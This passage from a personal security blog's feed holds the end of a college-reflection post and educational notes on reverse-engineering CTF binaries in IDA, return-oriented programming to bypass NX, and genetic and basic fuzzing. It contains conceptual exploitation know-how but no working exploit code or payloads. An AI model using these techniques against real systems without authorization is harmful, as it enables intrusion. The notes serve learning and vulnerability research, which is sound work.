(though it was an open group and anyone could join). Over time though,
as 4th year rolled by, it would grow by leaps and bounds (with over
100 first yearites showing up for some meetings), and we would have
come up with a much more concrete plan of what to do next.&lt;/p&gt;

&lt;p&gt;As we started taking part in more and more CTFs over the year, I
realised that there were some teams, at an international level, that
did consistently well. One of these is PPP -- a team from the Carnegie
Mellon University, that has consistently won almost all the most
difficult CTFs that happen each year. Looking into their structure
(mainly to figure out how to help InfoSecIITR progress more), I found
that it has a faculty advisor who does research in the same field --
software security. Wait, seriously?! You could take this hobby up as a
full career? Even though I was reading papers in security before, I
had suddenly found out that academia considered this a complete field!
After a lot of reading of papers, thinking, and testing some ideas, I
decided to apply for a summer research internship under Prof David
Brumley -- the aforementioned faculty advisor.&lt;/p&gt;

&lt;p&gt;After a bunch of emails back and forth, he was happy to invite me over
to CMU for a fully funded summer internship. This intern was arguably
the best time I&amp;#39;ve ever had while working, probably because it didn&amp;#39;t
feel like work at all. I was helping develop systems to augment humans
in finding vulnerabilities in common software. Additionally, this is
where I fell in love with using Emacs (it is better than Vim, but I
digress again), started loving OCaml, and figured out that this field
is probably what I want to continue in for the foreseeable future.&lt;/p&gt;

&lt;p&gt;Once back in Roorkee, 4th year began, and with it, came the whole
&amp;quot;tension&amp;quot; of applying for further studies. While batch-mates prepared
for job interviews, I had decided that I wanted to go for a
PhD. Taking up the standardised examinations, asking for letters of
recommendation, writing a statement of purpose, updating my resume,
filling out forms -- it does turn out to be a very time-consuming
task. However, it indeed is a very rewarding task if done right, in
two major ways -- it helps you really think about all you have done
and what you want to do further in life, and it provides a sense of
confidence in knowing that you can really achieve all that you wish to
(since you&amp;#39;ve achieved a lot of what you originally set out to do, and
even when goals changed, you&amp;#39;ve adapted and done well).&lt;/p&gt;

&lt;p&gt;Managing time between all these, as well as the Bachelor Thesis
Project (BTP), a whole semester flew by almost instantly; all the
applications to the 5 institutes I had applied to were also sent. What
now?! Then began the long and dreadful wait (at least, as described by
others). The last semester of college was one where compared to the
previous 7 semesters, I had very little to really do. Academics had
gotten very chill, BTP was going fine, campus groups were being
handled easy enough, I&amp;#39;d gone on multiple trips/treks, I was taking
part in multiple contests, and yet I had time to spare. So I decided
that I would spend my free time divided amongst 2 main things --
spending much more time with those I am close to, and helping juniors
out on a larger scale.&lt;/p&gt;

&lt;p&gt;Over the previous few years, I had formed extremely strong bonds with
a lot of people on campus -- people I loved spending time with,
whether they were juniors, seniors or batch-mates. However, each of us
were busy with our own things until then. Now, with the little bit of
extra free time on our hands, we could spend more quality time. Each
moment spent definitely becomes more precious, as the time to go apart
draws closer.&lt;/p&gt;

&lt;p&gt;Apart from this, while I had already been helping juniors out in
various ways, mainly through mentoring or just being there for advice
when needed, I decided that I should start working on making a larger
impact on the general crowd, and help move IITR&amp;#39;s culture more towards
research. Over the years, I had tried pushing for this culture in as
many ways that I could, but now it was time to reach out to as many as
possible, before I bid adieu. So, along with others who had done
research interns, and others who were doing research, I gave a few
talks, and reached out to everyone who was interested (even casually)
in considering research as a career possibility. Turns out, there are
many who want to try things, but just don&amp;#39;t know whom to approach. I
realised that it became a moral duty for those of us who had been
through the pains of starting off, without having any guidance, to
actually guide those who wanted to pursue their dreams; and this was
amongst the most fulfilling things I have ever done.&lt;/p&gt;

&lt;p&gt;While all this was going on, the decision letters started to arrive
from the different institutes, and I had gotten selected into 3 really
amazing places -- MIT, UCSB, and CMU. And suddenly, I had a problem --
how can you really decide between 3 of the best places for the kind of
research I wanted to do? Of course, getting selected into any of these
is a matter of joy and pride, but getting into all 3 is a bit of a
problem. Of course, it is a good kind of problem to have though. After
much deliberation, I decided that I would go with CMU. And with that,
began the farewells, of the different campus groups, as well as the
department.&lt;/p&gt;

&lt;p&gt;It doesn&amp;#39;t hit that hard until you reach the point of the farewells,
how much you have come to love the time spent over the 4 years. It is
at this time that many tend to get emotional since, for some of us, it
might be a very very long time until we meet again. Thankfully though,
the tradition of dressing up as different characters (such as Jack
Sparrow, or Davy Jones), does provide a bit of necessary relief from
the otherwise extremely emotionally charged farewell.&lt;/p&gt;

&lt;p&gt;However, even after all of this, Roorkee doesn&amp;#39;t let you go. The final
semester exams, and the final BTP evaluation happen after the
farewells, and even after that comes up the extremely amazing
tradition of the &amp;quot;no-dues&amp;quot;. Most people really understand these pains
only when they need to rush through campus, in the hot sweltering sun,
just to get a few signatures on pieces of paper that are probably
gonna be thrown away in almost no time. Yet there is a kind of fun in
everyone cursing the same people and the tradition each year, standing
in those long queues, waiting for those coloured slips of paper.&lt;/p&gt;

&lt;p&gt;Soon enough though, even that is done, and it comes time to finally
say goodbye, and it really breaks my heart to say goodbye. It was an
amazing 4 years, and I am going to cherish these memories forever. A
lot of the connections and friendships that I have made, cannot even
be put into words, but I feel that those are what I am going to
remember more than anything else. I believe it is the people, and not
the place, that really grows on you.&lt;/p&gt;

&lt;p&gt;If I have any advice for 1st yearites, it would be this: across the 4
years, not everything you do has visible benefit, and not everything
will get to the resume. Not every part of it needs to be for a
predestined goal. Nor does it need to be just smooth-going
successes. Do not limit yourself to only academics, but neither let it
suffer. You will stumble, and you will struggle, but that is part of
the process. You just got to keep your head cool and keep moving
forward, trying new things, finding new interests, building strong
friendships, and enjoying your time at college. Because as long as you
don&amp;#39;t waste them, these 4 years are definitely going to become a story
to tell.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Analysis for RE and Pwning tasks in CTFs</title>
   <link href="https://www.jaybosamiya.com/blog/2017/07/02/analysis-re-pwning/"/>
   <updated>2017-07-02T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2017/07/02/analysis-re-pwning</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;Influenced by a discussion with &lt;a href=&quot;https://github.com/p4n74/&quot;&gt;@p4n74&lt;/a&gt; and &lt;a href=&quot;https://github.com/aazimcr&quot;&gt;@h3rcul35&lt;/a&gt; on the &lt;a href=&quot;https://github.com/InfoSecIITR/&quot;&gt;InfoSecIITR&lt;/a&gt; #bin chat. We were discussing on how sometimes beginners struggle to start with a larger challenge binary, especially when it is stripped. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To either solve an RE challenge, or to be able to pwn it, one must
first analyze the given binary, in order to be able to effectively
exploit it. Since the binary might possibly be stripped etc (found
using &lt;code&gt;file&lt;/code&gt;) one must know where to begin analysis, to get a foothold
to build up from.&lt;/p&gt;

&lt;p&gt;There&amp;#39;s a few styles of analysis, when looking for vulnerabilities in
binaries (and from what I have gathered, different CTF teams have
different preferences):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Static Analysis&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;1.1. Transpiling complete code to C&lt;/p&gt;

&lt;p&gt;This kind of analysis is sort of rare, but is quite useful for
  smaller binaries. The idea is to go in an reverse engineer the
  entirety of the code. Each and every function is opened in IDA
  (using the decompiler view), and renaming (shortcut: n) and retyping
  (shortcut: y) are used to quickly make the decompiled code much more
  readable. Then, all the code is copied/exported into a separate .c
  file, which can be compiled to get an equivalent (but not same)
  binary to the original. Then, source code level analysis can be
  done, to find vulns etc. Once the point of vulnerability is found,
  then the exploit is built on the original binary, by following along
  in the nicely decompiled source in IDA, side by side with the
  disassembly view (use Tab to quickly switch between the two; and use
  Space to switch quickly between Graph and Text view for
  disassembly).&lt;/p&gt;

&lt;p&gt;1.2. Minimal analysis of decompilation&lt;/p&gt;

&lt;p&gt;This is done quite often, since most of the binary is relatively
  useless (from the attacker&amp;#39;s perspective). You only need to analyze
  the functions that are suspicious or might lead you to the vuln. To
  do this, there are some approaches to start off:&lt;/p&gt;

&lt;p&gt;1.2.1. Start from main&lt;/p&gt;

&lt;p&gt;Now usually, for a stripped binary, even main is not labelled (IDA
   6.9 onwards does mark it for you though), but over time, you learn
   to recognize how to reach the main from the entry point (where IDA
   opens at by default). You jump to that and start analyzing from
   there.&lt;/p&gt;

&lt;p&gt;1.2.2. Find relevant strings&lt;/p&gt;

&lt;p&gt;Sometimes, you know some specific strings that might be outputted
   etc, that you know might be useful (for example &amp;quot;Congratulations,
   your flag is %s&amp;quot; for an RE challenge). You can jump to Strings View
   (shortcut: Shift+F12), find the string, and work backwards using
   XRefs (shortcut: x). The XRefs let you find the path of functions
   to that string, by using XRefs on all functions in that chain,
   until you reach main (or some point that you know).&lt;/p&gt;

&lt;p&gt;1.2.3. From some random function&lt;/p&gt;

&lt;p&gt;Sometimes, not specific string might be useful, and you don&amp;#39;t want
   to start from main. So instead, you quickly flip through the whole
   functions list, looking for functions that look suspicious (such as
   having lots of constants, or lots of xors, etc) or call important
   functions (XRefs of malloc, free, etc), and you start off from
   there, and go both forwards (following functions it calls) and
   backwards (XRefs of the function)&lt;/p&gt;

&lt;p&gt;1.3. Pure disassembly analysis&lt;/p&gt;

&lt;p&gt;Sometimes, you cannot use the decompilation view (because of weird
  architecture, or anti-decompilation techniques, or hand written
  assembly, or decompilation looking too unnecessarily complex). In
  that case, it is perfectly valid to look purely at the disassembly
  view. It is extremely useful (for new architectures) to turn on Auto
  Comments, which shows a comment explaining each
  instruction. Additionally, the node colorization and group nodes
  functionalities are immensely helpful. Even if you don&amp;#39;t use any of
  these, regularly marking comments in the disassembly helps a lot. If
  I am personally doing this, I prefer writing down Python-like
  comments, so that I can quickly then transpile in manually into
  Python (especially useful for RE challenges, where you might have to
  use Z3 etc).&lt;/p&gt;

&lt;p&gt;1.4. Using platforms like BAP, etc.&lt;/p&gt;

&lt;p&gt;This kind of analysis is (semi-)automated, and is usually more
  useful for much larger software, and is rarely directly used in
  CTFs.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Fuzzing&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Fuzzing can be an effective technique to quickly get to the vuln,
 without having to actually understand it initially. By using a
 fuzzer, one can get a lot of low-hanging-fruit style of vulns, which
 then need to be analyzed and triaged to get to the actual vuln. See
 my notes on &lt;a href=&quot;/blog/2017/04/20/fuzzing-basics/&quot;&gt;basics of fuzzing&lt;/a&gt; and &lt;a href=&quot;/blog/2017/05/27/genetic-fuzzing/&quot;&gt;genetic
 fuzzing&lt;/a&gt;
 for more info.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Dynamic Analysis&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Dynamic Analysis can be used after finding a vuln using static
 analysis, to help build exploits quickly. Alternatively, it can be
 used to find the vuln itself. Usually, one starts up the executable
 inside a debugger, and tries to go along code paths that trigger the
 bug. By placing breakpoints at the right locations, and analyzing the
 state of the registers/heap/stack/etc, one can get a good idea of
 what is going on.  One can also use debuggers to quickly identify
 interesting functions. This can be done, for example, by setting
 temporary breakpoints on all functions initially; then proceeding to
 do 2 walks - one through all uninteresting code paths; and one
 through only a single interesting path. The first walk trips all the
 uninteresting functions and disables those breakpoints, thereby
 leaving the interesting ones showing up as breakpoints during the
 second walk.&lt;/p&gt;

&lt;p&gt;My personal style for analysis, is to start with static analysis,
usually from main (or for non-console based applications, from
strings), and work towards quickly finding a function that looks
odd. I then spend time and branch out forwards and backwards from
here, regularly writing down comments, and continuously renaming and
retyping variables to improve the decompilation. Like others, I do use
names like Apple,Banana,Carrot,etc for seemingly useful, but as of yet
unknown functions/variables/etc, to make it easier to analyze (keeping
track of func_123456 style of names is too difficult for me). I also
regularly use the Structures view in IDA to define structures (and
enums) to make the decompilation even nicer. Once I find the vuln, I
usually move to writing a script with pwntools (and use that to call a
&lt;code&gt;gdb.attach()&lt;/code&gt;). This way, I can get a lot of control over what is
going on. Inside gdb, I usually use plain gdb, though I have added a
command &lt;code&gt;peda&lt;/code&gt; that loads peda instantly if needed.&lt;/p&gt;

&lt;p&gt;My style is definitely evolving though, as I have gotten more
comfortable with my tools, and also with custom tools I have written
to speed things up. I would be happy to hear of other analysis styles,
as well as possible changes to my style that might help me get
faster. For any comments/criticisms/praise you have, as always, I can
be reached via Twitter &lt;a href=&quot;http://twitter.com/@jay_f0xtr0t&quot;&gt;@jay_f0xtr0t&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Return Oriented Programming</title>
   <link href="https://www.jaybosamiya.com/blog/2017/06/04/rop/"/>
   <updated>2017-06-04T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2017/06/04/rop</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;Influenced by &lt;a href=&quot;https://www.youtube.com/watch?v=iwRSFlZoSCM&quot;&gt;this&lt;/a&gt; awesome live stream by Gynvael Coldwind, where he discusses the basics of ROP, and gives a few tips and tricks &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Return Oriented Programming (ROP) is one of the classic exploitation
techniques, that is used to bypass the NX (non executable memory)
protection. Microsoft has incorporated NX as DEP (data execution
prevention). Even Linux etc, have it effective, which means that with
this protection, you could no longer place shellcode onto heap/stack
and have it execute just by jumping to it. So now, to be able to
execute code, you jump into pre-existing code (main binary, or its
libraries -- libc, ldd etc on Linux; kernel32, ntdll etc on
Windows). ROP comes into existence by re-using fragments of this code
that is already there, and figuring out a way to combine those
fragments into doing what you want to do (which is of course, HACK THE
PLANET!!!).&lt;/p&gt;

&lt;p&gt;Originally, ROP started with ret2libc, and then became more advanced
over time by using many more small pieces of code. Some might say that
ROP is now &amp;quot;dead&amp;quot;, due to additional protections to mitigate it, but
it still can be exploited in a lot of scenarios (and definitely
necessary for many CTFs).&lt;/p&gt;

&lt;p&gt;The most important part of ROP, is the gadgets. Gadgets are &amp;quot;usable
pieces of code for ROP&amp;quot;. That usually means pieces of code that end
with a &lt;code&gt;ret&lt;/code&gt; (but other kinds of gadgets might also be useful; such as
those ending with &lt;code&gt;pop eax; jmp eax&lt;/code&gt; etc). We chain these gadgets
together to form the exploit, which is known as the &lt;em&gt;ROP chain&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;One of the most important assumptions of ROP is that you have control
over the stack (i.e., the stack pointer points to a buffer that you
control). If this is not true, then you will need to apply other
tricks (such as stack pivoting) to gain this control before building a
ROP chain.&lt;/p&gt;

&lt;p&gt;How do you extract gadgets? Use downloadable tools (such
as &lt;a href=&quot;http://shell-storm.org/project/ROPgadget/&quot;&gt;ropgadget&lt;/a&gt;) or online
tool (such as &lt;a href=&quot;http://ropshell.com/&quot;&gt;ropshell&lt;/a&gt;) or write your own
tools (might be more useful for more difficult challenges sometimes,
since you can tweak it to the specific challenge if need
be). Basically, we just need the addresses that we can jump to for
these gadgets. This is where there might be a problem with ASLR etc
(in which case, you get a leak of the address, before moving on to
actually doing ROP).&lt;/p&gt;

&lt;p&gt;So now, how do we use these gadgets to make a ropchain? We first look
for &amp;quot;basic gadgets&amp;quot;. These are gadgets that can do &lt;em&gt;simple&lt;/em&gt; tasks for
us (such as &lt;code&gt;pop ecx; ret&lt;/code&gt;, which can be used to load a value into ecx
by placing the gadget, followed by the value to be loaded, followed by
rest of chain, which is returned to after the value is loaded). The
most useful basic gadgets, are usually &amp;quot;set a register&amp;quot;, &amp;quot;store
register value at address pointed to by register&amp;quot;, etc.&lt;/p&gt;

&lt;p&gt;We can build up from these primitive functions to gain higher level
functionality (similar to my post titled &lt;a href=&quot;/blog/2017/04/07/exploitation-abstraction/&quot;&gt;exploitation abstraction&lt;/a&gt;). For
example, using the set-register, and store-value-at-address gadgets,
we can come up with a &amp;quot;poke&amp;quot; function, that lets us set any specific
address with a specific value. Using this, we can build a
&amp;quot;poke-string&amp;quot; function that lets us store any particular string at any
particular location in memory. Now that we have poke-string, we are
basically almost done, since we can create any structures that we want
in memory, and can also call any functions we want with the parameters
we want (since we can set-register, and can place values on stack).&lt;/p&gt;

&lt;p&gt;One of the most important reasons to build from these lower order
primitives to larger functions that do more complex things, is to
reduce the chances of making mistakes (which is common in ROP
otherwise).&lt;/p&gt;

&lt;p&gt;There are more complex ideas, techniques, and tips for ROP, but that
is possibly a topic for a separate note, for a different time :)&lt;/p&gt;

&lt;p&gt;PS: Gyn has a blogpost
on &lt;a href=&quot;http://gynvael.coldwind.pl/?id=149&quot;&gt;Return-Oriented Exploitation&lt;/a&gt;
that might be worth a read.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Genetic Fuzzing</title>
   <link href="https://www.jaybosamiya.com/blog/2017/05/27/genetic-fuzzing/"/>
   <updated>2017-05-27T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2017/05/27/genetic-fuzzing</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;Written on May 27 2017; extended on May 29 2017. Influenced by &lt;a href=&quot;https://www.youtube.com/watch?v=JhsHGms_7JQ&quot;&gt;this&lt;/a&gt; amazing live stream by Gynvael Coldwind, where he talks about the basic theory behind genetic fuzzing, and starts to build a basic genetic fuzzer.  He then proceeds to complete the implementation in &lt;a href=&quot;https://www.youtube.com/watch?v=HN_tI601jNU&quot;&gt;this&lt;/a&gt; live stream. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here, we take a look at &amp;quot;advanced&amp;quot; fuzzing (in comparison to a blind
fuzzer, as described in my &lt;a href=&quot;/blog/2017/04/20/fuzzing-basics/&quot;&gt;&amp;quot;Basics of Fuzzing&amp;quot;&lt;/a&gt; note). While it also
modifies/mutates bytes etc, but it does so in a slightly smarter way
than the blind &amp;quot;dumb&amp;quot; fuzzer.&lt;/p&gt;

&lt;h2&gt;Why do we need a genetic fuzzer?&lt;/h2&gt;

&lt;p&gt;Some programs might be &amp;quot;nasty&amp;quot; towards dumb fuzzers, since it is
possible that a vulnerability might require a whole bunch of
conditions to be satisfied to be reached. In a dumb fuzzer, we have
very low probability of this happening since it doesn&amp;#39;t have any idea
if it is making any progress or not. As a specific example, if we have
the code &lt;code&gt;if a: if b: if c: if d: crash!&lt;/code&gt; (let&amp;#39;s call it the CRASHER
code), then in this case we need 4 conditions to be satisfied to crash
the program. However, a dumb fuzzer might be unable to get past the
&lt;code&gt;a&lt;/code&gt; condition, just because there is very low chance that all 4
mutations &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;, &lt;code&gt;d&lt;/code&gt;, happen at same time. In fact, even if it
progresses by doing just &lt;code&gt;a&lt;/code&gt;, the next mutation might go back to &lt;code&gt;!a&lt;/code&gt;
just because it doesn&amp;#39;t know anything about the program.&lt;/p&gt;

&lt;h2&gt;Wait, when does this kind of &amp;quot;bad case&amp;quot; program show up?&lt;/h2&gt;

&lt;p&gt;It is quite common in file format parsers, to take one example. To
reach some specific code paths, one might need to go past multiple
checks &amp;quot;this value must be this, and that value must be that, and some
other value must be something of something else&amp;quot; and so
on. Additionally, almost no real world software is &amp;quot;uncomplicated&amp;quot;,
and most software has many many many possible code paths, some of
which can be accessed only after many things in the state get set up
correctly. Thereby, many of these programs&amp;#39; code paths are basically
inaccessible to dumb fuzzers. Additionally, sometimes, some paths
might be completely inaccessible (rather than just crazily improbable)
due to not enough mutations done whatsoever. If any of these paths
have bugs, a dumb fuzzer would never be able to find them.&lt;/p&gt;

&lt;h2&gt;So how do we do better than dumb fuzzers?&lt;/h2&gt;

&lt;p&gt;Consider the Control Flow Graph (CFG) of the above mentioned CRASHER
code. If by chance a dumb fuzzer suddenly got &lt;code&gt;a&lt;/code&gt; correct, then too it
would not recognize that it reached a new node, but it would continue
ignoring this, discarding the sample. On the other hand, what AFL (and
other genetic or &amp;quot;smart&amp;quot; fuzzers) do, is they recognize this as a new
piece of information (&amp;quot;a newly reached path&amp;quot;) and store this sample as
a new initial point into the corpus. What this means is that now the
fuzzer can start from the &lt;code&gt;a&lt;/code&gt; block and move further. Of course,
sometimes, it might go back to the &lt;code&gt;!a&lt;/code&gt; from the &lt;code&gt;a&lt;/code&gt; sample, but most
of the time, it will not, and instead might be able to reach &lt;code&gt;b&lt;/code&gt;
block. This again is a new node reached, so adds a new sample into the
corpus. This continues, allowing more and more possible paths to be
checked, and finally reaches the &lt;code&gt;crash!&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;Why does this work?&lt;/h2&gt;

&lt;p&gt;By adding mutated samples into the corpus, that explore the graph more
(i.e. reach parts not explored before), we can reach previously
unreachable areas, and can thus fuzz such areas. Since we can fuzz
such areas, we might be able to uncover bugs in those regions.&lt;/p&gt;

&lt;h2&gt;Why is it called genetic fuzzing?&lt;/h2&gt;

&lt;p&gt;This kind of &amp;quot;smart&amp;quot; fuzzing is kind of like genetic
algorithms. Mutation and crossover of specimens causes new
specimens. We keep specimens which are better suited to the conditions
which are tested. In this case, the condition is &amp;quot;how many nodes in
the graph did it reach?&amp;quot;. The ones that traverse more can be
kept. This is not exactly like genetic algos, but is a variation
(since we keep all specimens that traverse unexplored territory, and
we don&amp;#39;t do crossover) but is sufficiently similar to get the same
name. Basically, choice from pre-existing population, followed by
mutation, followed by fitness testing (whether it saw new areas), and
repeat.&lt;/p&gt;

&lt;h2&gt;Wait, so we just keep track of unreached nodes?&lt;/h2&gt;

&lt;p&gt;Nope, not really. AFL keeps track of edge traversals in the graph,
rather than nodes. Additionally, it doesn&amp;#39;t just say &amp;quot;edge travelled
or not&amp;quot;, it keeps track of how many times an edge was traversed. If an
edge is traversed 0, 1, 2, 4, 8, 16, ... times, it is considered as a
&amp;quot;new path&amp;quot; and leads to addition into the corpus. This is done because
looking at edges rather than nodes is a better way to distinguish
between application states, and using an exponentially increasing
count of the edge traversals gives more info (an edge traversed once
is quite different from traversed twice, but traversed 10 is not too
different from 11 times).&lt;/p&gt;

&lt;h2&gt;So, what and all do you need in a genetic fuzzer?&lt;/h2&gt;

&lt;p&gt;We need 2 things, the first part is called the tracer (or tracing
instrumentation). It basically tells you which instructions were
executed in the application. AFL does this in a simple way by jumping
in between the compilation stages. After the generation of the
assembly, but before assembling the program, it looks for basic blocks
(by looking for endings, by checking for jump/branch type of
instructions), and adds code to each block that marks the block/edge
as executed (probably into some shadow memory or something). If we
don&amp;#39;t have source code, we can use other techniques for tracing (such
as pin, debugger, etc). Turns out, even ASAN can give coverage
information (see docs for this).&lt;/p&gt;

&lt;p&gt;For the second part, we then use the coverage information given by the
tracer to keep track of new paths as they appear, and add those
generated samples into the corpus for random selection in the future.&lt;/p&gt;

&lt;p&gt;There are multiple mechanisms to make the tracer. They can be software
based, or hardware based. For hardware based, there are, for example,
some Intel CPU features exist where given a buffer in memory, it
records information of all basic blocks traversed into that buffer. It
is a kernel feature, so the kernel has to support it and provide it as
an API (which Linux does). For software based, we can do it by adding
in code, or using a debugger (using temporary breakpoints, or through
single stepping), or use address sanitizer&amp;#39;s tracing abilities, or use
hooks, or emulators, or a whole bunch of other ways.&lt;/p&gt;

&lt;p&gt;Another way to differentiate the mechanisms is by either black-box
tracing (where you can only use the unmodified binary), or software
white-box tracing (where you have access to the source code, and
modify the code itself to add in tracing code).&lt;/p&gt;

&lt;p&gt;AFL uses software instrumentation during compilation as the method for
tracing (or through QEMU emulation). Honggfuzz supports both software
and hardware based tracing methods. Other smart fuzzers might be
different. The one that Gyn builds uses the tracing/coverage provided
by address sanitizer (ASAN).&lt;/p&gt;

&lt;p&gt;Some fuzzers use &amp;quot;speedhacks&amp;quot; (i.e. increase fuzzing speed) such as by
making a forkserver or other such ideas. Might be worth looking into
these at some point :)&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Basics of Fuzzing</title>
   <link href="https://www.jaybosamiya.com/blog/2017/04/20/fuzzing-basics/"/>
   <updated>2017-04-20T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2017/04/20/fuzzing-basics</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;Influenced by &lt;a href=&quot;https://www.youtube.com/watch?v=BrDujogxYSk&quot;&gt;this&lt;/a&gt; awesome live stream by Gynvael Coldwind, where he talks about what fuzzing is about, and also builds a basic fuzzer from scratch! &lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;What is a fuzzer, in the first place? And why do we use it?&lt;/h2&gt;

&lt;p&gt;Consider that we have a library/program that takes input data. The
input may be structured in some way (say a PDF, or PNG, or XML, etc;
but it doesn&amp;#39;t need to be any &amp;quot;standard&amp;quot; format). From a security
perspective, it is interesting if there is a security boundary between
the input and the process / library / program, and we can pass some
&amp;quot;special input&amp;quot; which causes unintended behaviour beyond that
boundary. A fuzzer is one such way to do this. It does this by
&amp;quot;mutating&amp;quot; things in the input (thereby &lt;em&gt;possibly&lt;/em&gt; corrupting it), in
order to lead to either a normal execution (including safely handled
errors) or a crash. This can happen due to edge case logic not being
handled well.&lt;/p&gt;

&lt;p&gt;Crashing is the easiest way for error conditions. There might be
others as well. For example, using ASAN (address sanitizer) etc might
lead to detecting more things as well, which might be security
issues. For example, a single byte overflow of a buffer might not
cause a crash on its own, but by using ASAN, we might be able to catch
even this with a fuzzer.&lt;/p&gt;

&lt;p&gt;Another possible use for a fuzzer is that inputs generated by fuzzing
one program can also possibly be used in another library/program and
see if there are differences. For example, some high-precision math
library errors were noticed like this. This doesn&amp;#39;t usually lead to
security issues though, so we won&amp;#39;t concentrate on this much.&lt;/p&gt;

&lt;h2&gt;How does a fuzzer work?&lt;/h2&gt;

&lt;p&gt;A fuzzer is basically a mutate-execute-repeat loop that explores the
state space of the application to try to &amp;quot;randomly&amp;quot; find states of a
crash / security vuln. It does &lt;em&gt;not&lt;/em&gt; find an exploit, just a vuln. The
main part of the fuzzer is the mutator itself. More on this later.&lt;/p&gt;

&lt;h2&gt;Outputs from a fuzzer?&lt;/h2&gt;

&lt;p&gt;In the fuzzer, a debugger is (sometimes) attached to the application
to get some kind of a report from the crash, to be able to analyze it
later as security vuln vs a benign (but possibly important) crash.&lt;/p&gt;

&lt;p&gt;How to determine what areas of programs are best to fuzz first?&lt;/p&gt;

&lt;p&gt;When fuzzing, we want to usually concentrate on a single piece or
small set of piece of the program. This is usually done mainly to
reduce the amount of execution to be done. Usually, we concentrate on
the parsing and processing only. Again, the security boundary matters
a &lt;em&gt;lot&lt;/em&gt; in deciding which parts matter to us.&lt;/p&gt;

&lt;h2&gt;Types of fuzzers?&lt;/h2&gt;

&lt;p&gt;Input samples given to the fuzzer are called the &lt;em&gt;corpus&lt;/em&gt;. In
oldschool fuzzers (aka &amp;quot;blind&amp;quot;/&amp;quot;dumb&amp;quot; fuzzzers) there was a necessity
for a large corpus. Newer ones (aka &amp;quot;genetic&amp;quot; fuzzers, for example
AFL) do not necessarily need such a large corpus, since they explore
the state on their own.&lt;/p&gt;

&lt;h2&gt;How are fuzzers useful?&lt;/h2&gt;

&lt;p&gt;Fuzzers are mainly useful for &amp;quot;low hanging fruit&amp;quot;. It won&amp;#39;t find
complicated logic bugs, but it can find easy to find bugs (which are
actually sometimes easy to miss out during manual analysis).  While I
might say &lt;em&gt;input&lt;/em&gt; throughout this note, and usually refer to an &lt;em&gt;input
file&lt;/em&gt;, it need not be just that. Fuzzers can handle inputs that might
be stdin or input file or network socket or many others. Without too
much loss of generality though, we can think of it as just a file for
now.&lt;/p&gt;

&lt;h2&gt;How to write a (basic) fuzzer?&lt;/h2&gt;

&lt;p&gt;Again, it just needs to be a mutate-run-repeat loop. We need to be
able to call the target often (&lt;code&gt;subprocess.Popen&lt;/code&gt;). We also need to be
able to pass input into the program (eg: files) and detect crashes
(&lt;code&gt;SIGSEGV&lt;/code&gt; etc cause exceptions which can be caught). Now, we just
have to write a mutator for the input file, and keep calling the
target on the mutated files.&lt;/p&gt;

&lt;h2&gt;Mutators? What?!?&lt;/h2&gt;

&lt;p&gt;There can be multiple possible mutators. Easy (i.e. simple to
implement) ones might be to mutate bits, mutate bytes, or mutate to
&amp;quot;magic&amp;quot; values. To increase chance of crash, instead of changing only
1 bit or something, we can change multiple (maybe some parameterized
percentage of them?). We can also (instead of random mutations),
change bytes/words/dwords/etc to some &amp;quot;magic&amp;quot; values. The magic values
might be &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;0xff&lt;/code&gt;, &lt;code&gt;0xffff&lt;/code&gt;, &lt;code&gt;0xffffffff&lt;/code&gt;, &lt;code&gt;0x80000000&lt;/code&gt; (32-bit
&lt;code&gt;INT_MIN&lt;/code&gt;), &lt;code&gt;0x7fffffff&lt;/code&gt; (32-bit &lt;code&gt;INT_MAX&lt;/code&gt;) etc. Basically, pick ones
that are common to causing security issues (because they might trigger
some edge cases). We can write smarter mutators if we know more info
about the program (for example, for string based integers, we might
write something that changes an integer string to &lt;code&gt;&amp;quot;65536&amp;quot;&lt;/code&gt; or &lt;code&gt;-1&lt;/code&gt;
etc). Chunk based mutators might move pieces around (basically,
reorganizing input). Additive/appending mutators also work (for
example causing larger input into buffer). Truncators also might work
(for example, sometimes EOF might not be handled well). Basically, try
a whole bunch of creative ways of mangling things. The more experience
with respect to the program (and exploitation in general), the more
useful mutators might be possible.&lt;/p&gt;

&lt;h2&gt;But what is this &amp;quot;genetic&amp;quot; fuzzing?&lt;/h2&gt;

&lt;p&gt;That is probably a discussion for a &lt;a href=&quot;/blog/2017/05/27/genetic-fuzzing/&quot;&gt;later time&lt;/a&gt;. However, a couple of
links to some modern (open source) fuzzers are
&lt;a href=&quot;http://lcamtuf.coredump.cx/afl/&quot;&gt;AFL&lt;/a&gt; and
&lt;a href=&quot;https://github.com/google/honggfuzz&quot;&gt;honggfuzz&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Exploitation Abstraction</title>
   <link href="https://www.jaybosamiya.com/blog/2017/04/07/exploitation-abstraction/"/>
   <updated>2017-04-07T00:00:00+00:00</updated>
   <id>https://www.jaybosamiya.com/blog/2017/04/07/exploitation-abstraction</id>
   <content type="html">&lt;blockquote&gt;
